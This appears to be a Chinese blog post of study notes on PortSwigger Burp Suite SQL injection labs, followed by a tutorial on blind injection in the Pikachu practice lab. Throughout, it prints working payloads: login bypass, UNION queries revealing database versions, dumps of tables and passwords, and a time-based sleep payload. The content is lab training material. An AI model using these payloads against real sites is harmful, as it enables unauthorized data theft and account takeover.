Burp靶场sql注入学习笔记1

1.SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

网页提示网站的sql语句是这样

找到注入点为url

根据给的查询语句构造payload

' and released=0--

完成题目需要找到未上架商品

或者使用payload也可以找到所有商品包括未上架的

' or 1=1--+ 

2.SQL injection vulnerability allowing login bypass

题目叫我们以管理员的身份登录应用程序

在页面右上角发现my account,点击后发现出现登录界面

密码输入单引号时发现报错,应该是有做过滤或者确实存在sql注入

尝试使用万能密码登录

登录成功

但是经过尝试后面的注释符用“#”就是不行,可能是这个数据库不支持#作为注释符或者是#因为某种限制或者过滤没有正确传输到sql语句中

3.SQL injection attack, querying the database type and version on Oracle

这题的数据库是Oracle

想要查找数据库的版本信息,可以使用union注入

首先判断回显列数,在order by 2时发现回显成功,3时失败,说明回显列数为2

Oracle数据库查看版本信息的语句是select banner from v$version

同时也要注意在对Oracle数据库注入中,union的占位通常使用NULL不使用数字,使用数字可能发生错误,因为其要求要和union前面查询的字段类型的类型一致,所以大多使用NULL

Oracle数据库有个特点,就是每个查询语句后面都要跟一个表,所以就出现了一个表叫做dual,这个表主要用于当我们执行函数或者做一些计算时不用查询某个表的情况下使用,这时候我们就可以from dual这个表来让我们的查询语句后面有个表跟着,这里的注入也需要利用这个表

那么我们可以构造payload为

a'union select null,banner from v$version--+

输入后成功拿下

4.SQL injection attack, querying the database type and version on MySQL and Microsoft

注入点一样,同样判断出回显列数为2

查询操作系统发行版的sql语句是select @@version;

那么我们就可以构造payload为

a'union select 1,@@version--+

5.SQL injection attack, listing the database contents on non-Oracle databases

本关要求我们得到一个保存用户名和密码的表并用管理员账号登录

在使用union注入时,数字1和2不起效果,应该不是sql数据库

使用语句 g‘union select ’null‘,banner from v$version--+报错,说明也不是Oracle数据库

使用语句g'union select 'null',version()--成功,说明是PostgreSQL数据库

相较于mysql的SQL注入

查数据库名

        select database等于select current_database()/current_catalog

查表名

        select table_name from information_schema.tables where table_schema='xxx'等于

        select relname from pg_stat_user_tables

查列名

和mysql数据库基本一样

select column_name from information_schema.columns where table_name='xxx'

查数据

也和mysql数据库基本一样

select 列 from 表

爆数据库名

使用payload

g'union select 'null',current_database()--+

爆表名

使用payload

a' union select 'null',relname from pg_stat_user_tables--+

爆列名

使用payload

a' union select 'null',column_name from information_schema.columns where table_name='users_zaxmws'--+

爆数据

使用payload

a' union select 'null',password_qtogxw from users_zaxmws--

在使用第二个密码zpig65lblzxvx8jddoi4时成功登录管理员账户

### Pikachu靶场 SQL注入盲注与Burp Suite使用教程 #### 一、SQL注入盲注概述 SQL盲注是一种通过观察程序返回的结果来推测数据库结构和内容的技术。它通常分为两种类型:基于布尔的盲注和基于时间的盲注[^4]。 - **基于布尔的盲注**:攻击者发送不同的请求并根据页面响应的不同来推断出数据库中的信息。 - **基于时间的盲注**:攻击者利用 `SLEEP()` 或其他延迟函数让数据库等待一段时间再返回结果,以此判断条件是否成立。 #### 二、环境准备 为了安全地学习和实践SQL注入技术,可以搭建Pikachu靶场作为实验平台。以下是所需工具: 1. **Pikachu靶场**:提供多种Web漏洞供测试[^1]。 2. **Burp Suite**:用于拦截HTTP/HTTPS流量,修改参数以实现注入尝试[^2]。 #### 三、操作流程 ##### 1. 基于布尔的盲注实例 假设目标URL为`http://localhost/pikachu/vul/sqli_blind.php?id=1`,可以通过调整ID值逐步猜测数据库版本号或其他敏感信息。 例如,在浏览器地址栏输入以下payloads之一,并注意页面变化: ```plaintext http://localhost/pikachu/vul/sqli_blind.php?id=if(ascii(substr(version(),1,1))>50,sleep(5),null) ``` 如果页面加载超过五秒,则说明当前字符大于ASCII码50;反之则小于等于50。继续缩小范围直至找到确切数值为止[^3]。 ##### 2. 利用Burp Suite辅助分析 启动Burp Proxy并将浏览器代理设置指向本地监听端口8080之后访问上述链接。此时可以在Intercept标签页看到完整的GET请求详情: ```plaintext GET /pikachu/vul/sqli_blind.php?id=1 HTTP/1.1 Host: localhost ... ``` 手动编辑此包内的"id"字段替换为我们设计好的payload后再转发给服务器验证效果如何。这种方法特别适用于POST方法提交表单场景下难以直接篡改url的情况。 #### 四、注意事项 尽管在受控环境中研究这些技术有助于理解网络安全原理,但在未经授权的情况下对真实网站实施此类行为属于违法行为,请务必遵守法律法规! --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值